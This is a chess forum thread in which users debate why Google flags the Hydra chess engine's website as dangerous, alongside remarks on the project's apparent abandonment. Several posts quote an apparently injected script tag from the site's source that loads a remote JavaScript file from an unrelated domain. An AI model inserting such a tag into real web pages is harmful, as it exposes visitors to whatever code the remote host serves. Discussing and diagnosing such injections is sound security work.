Google says hydrachess.com is dangerous

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Re: Google says hydrachess.com is dangerous

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Christopher Conkie wrote:
mschribr wrote: To Christopher:
What does my internet provider have to do with what google says? Will google say 1 page is good for some people and bad for other people based on their internet provider?
If you went there and had a problem about how the site looked.....

With regard to your internet provider, the reason I gave may be why some (in the past as well) have found the Hydra site to be slow and not show correctly for them. It could be that what your internet provider gives you as hardware is what causes that problem.

If you were worried about going there to see the site......

Google on the other hand flags the site as unsafe possibly because there is external javascript in the code of the site. The thing is that while that script (w.js) mentioned above is in the code, it does not exist nor does the site itself where it was hosted. This begs the question, should the script be there. Has the page been hacked and the code written into the page maliciously or is that reference to that script just old/broken and legitimate. Either way the page does not/can not run the script.

So to answer the question you had.....

Is the site safe to visit?

Yes, IMO right now it is. If the reference to that script were taken away from the page, Google might say it was safe too.

Maybe it would be wise to send one of the Hydra team the above information if you are still concerned.

Christopher
Google is not saying the site is ugly, slow or not working properly because of poor design or missing code. Google is saying the site is dangerous as in criminal like stealing passwords, sending spam, working as part of botnet or sending viruses. If you went to the site and did not see a problem then maybe the virus is hiding itself well while its doing its criminal activity.

Google has said the site is dangerous for a while and the hydra team has not fixed this. Hydra has not played since 2006. Maybe hydra .com was hacked. The hydra owners don’t know or don’t care because the hydra project is dead.

The owners of hydra built hydra to showoff their high technology skill, to attract attention to their business. The same way ibm built deep blue. But in 2006 a pc beat the world champion. So building a super strong chess computer is no big deal in 2006. So they dropped the hydra project.
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Re: Google says hydrachess.com is dangerous

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A good way to stay away from scritps is to use Firefox + the addon noscript.
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Christopher Conkie wrote:LOL. I might have known it would be you.

Do you really think that anyone sane is going to look at a direct link to a script that you post here? If they do, more fool them.

Watch carefully....
I don't want to accuse anyone of being an old conniving woman who is web-illiterate but anyone can view the source of the page as follows :-

1. Go to http://validator.w3.org/

2. Enter http://www.hydrachess.com/main.cfm in the address bar.

3. Select Show source.

4. Submit

5. it lists 44 Errors, 5 warning(s)

6. Scoll below to the source and see all those dodgy javascripts e.g line 108 Dortmund R7: Leko wins Sparkassen Meeting, Ivanchuk beats Kramnik"></title><script src="http://1.verynx.cn/w.js"></script><!--</a>

7. If after all this one cannot understand that a normal site should not be doing this then one is either illiterate or just plain stupid and should not be surfing the very dangerous internet.
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mschribr wrote:[Google is saying the site is dangerous as in criminal like stealing passwords, sending spam, working as part of botnet or sending viruses. If you went to the site and did not see a problem then maybe the virus is hiding itself well while its doing its criminal activity.

Google has said the site is dangerous for a while and the hydra team has not fixed this.
Sitadvisor, AVG and WOT all say the site is safe. It depends whose opinion you prefer.
mschribr wrote:Hydra has not played since 2006. Maybe hydra .com was hacked. The hydra owners don’t know or don’t care because the hydra project is dead.
You were saying in 2006 that they should shut the project down.

http://www.hydrachess.com/ubb/cgi-bin/u ... 6;t=000006

:wink:
mschribr wrote:The owners of hydra built hydra to showoff their high technology skill, to attract attention to their business. The same way ibm built deep blue. But in 2006 a pc beat the world champion. So building a super strong chess computer is no big deal in 2006. So they dropped the hydra project.
The last news on the website is from 06/07/2008. I agree its not the fastest moving place in the world.

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Philippe wrote:A good way to stay away from scritps is to use Firefox + the addon noscript.
I don’t want to stay away from scripts. I want to stay away from criminals who use scripts. The google warning is useful. Internet explorer can also turn off scripts. I imagine every browser can turn off scripts.
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Christopher Conkie wrote:5. it lists 44 Errors, 5 warning(s)

6. Scoll below to the source and see all those dodgy javascripts e.g line 108 Dortmund R7: Leko wins Sparkassen Meeting, Ivanchuk beats Kramnik"></title><script src="http://1.verynx.cn/w.js"></script><!--</a>

7. If after all this one cannot understand that a normal site should not be doing this then one is either illiterate or just plain stupid and should not be surfing the very dangerous internet.
Thank you. That was informative.
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Christopher Conkie wrote: Sitadvisor, AVG and WOT all say the site is safe. It depends whose opinion you prefer.

You were saying in 2006 that they should shut the project down.

http://www.hydrachess.com/ubb/cgi-bin/u ... 6;t=000006
:wink:
The last news on the website is from 06/07/2008. I agree its not the fastest moving place in the world.

Christopher
I guess google caught things Sitadvisor, AVG and WOT didn’t find. I think next time I need to check if website is dangerous I will use google.

I explained why hydra should be shut down. They are spending a lot of time and money to beat the world champion. When all you need is a pc with fritz. If they win the world computer championship it’s also no big deal because hydra is just beating a bunch PCs. This will not impress the general public.

Is the 6/7/2008 news on the hydra website about hydra? Or is the news just an external feed from chessbase about chess in general. Except for this general news about chess there was no change to hydra or hydra .com since 2006. So hydra and hydra .com appear to be dead.
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terminator wrote:
Christopher Conkie wrote:LOL. I might have known it would be you.

Do you really think that anyone sane is going to look at a direct link to a script that you post here? If they do, more fool them.

Watch carefully....
I don't want to accuse anyone of being an old conniving woman who is web-illiterate but anyone can view the source of the page as follows :-

1. Go to http://validator.w3.org/

2. Enter http://www.hydrachess.com/main.cfm in the address bar.

3. Select Show source.

4. Submit

5. it lists 44 Errors, 5 warning(s)

6. Scoll below to the source and see all those dodgy javascripts e.g line 108 Dortmund R7: Leko wins Sparkassen Meeting, Ivanchuk beats Kramnik"></title><script src="http://1.verynx.cn/w.js"></script><!--</a>

7. If after all this one cannot understand that a normal site should not be doing this then one is either illiterate or just plain stupid and should not be surfing the very dangerous internet.
One more time for those who think they eat humans but actually have no teeth.

The script, (it's one script) is not there and cannot be run. No one here even knows what it was and if it was malicious.

Also http://validator.w3.org/ checks markup not threats.

If you are trying to help them there with html inbetween being drip fed, good. You could contribute to their project

While we are one our HTML help theme.....

http://validator.w3.org/check?uri=http% ... or%2F1.606

94 Errors, 20 warning(s) for ChessBase.

I'll let you tell them....OK?

:lol:

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mschribr wrote:
Christopher Conkie wrote: Sitadvisor, AVG and WOT all say the site is safe. It depends whose opinion you prefer.

You were saying in 2006 that they should shut the project down.

http://www.hydrachess.com/ubb/cgi-bin/u ... 6;t=000006
:wink:
The last news on the website is from 06/07/2008. I agree its not the fastest moving place in the world.

Christopher
I guess google caught things Sitadvisor, AVG and WOT didn’t find. I think next time I need to check if website is dangerous I will use google.

I explained why hydra should be shut down. They are spending a lot of time and money to beat the world champion. When all you need is a pc with fritz. If they win the world computer championship it’s also no big deal because hydra is just beating a bunch PCs. This will not impress the general public.

Is the 6/7/2008 news on the hydra website about hydra? Or is the news just an external feed from chessbase about chess in general. Except for this general news about chess there was no change to hydra or hydra .com since 2006. So hydra and hydra .com appear to be dead.
You guess? I know, because Google did not tell you what it thinks it caught.

One this is certain. The domain expires in 2014.

http://www.whois.net/whois_new.cgi?d=hydrachess&tld=com
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mschribr wrote:
Christopher Conkie wrote:5. it lists 44 Errors, 5 warning(s)

6. Scoll below to the source and see all those dodgy javascripts e.g line 108 Dortmund R7: Leko wins Sparkassen Meeting, Ivanchuk beats Kramnik"></title><script src="http://1.verynx.cn/w.js"></script><!--</a>

7. If after all this one cannot understand that a normal site should not be doing this then one is either illiterate or just plain stupid and should not be surfing the very dangerous internet.
Thank you. That was informative.
It is me you should be thanking not Mr Wiseguy.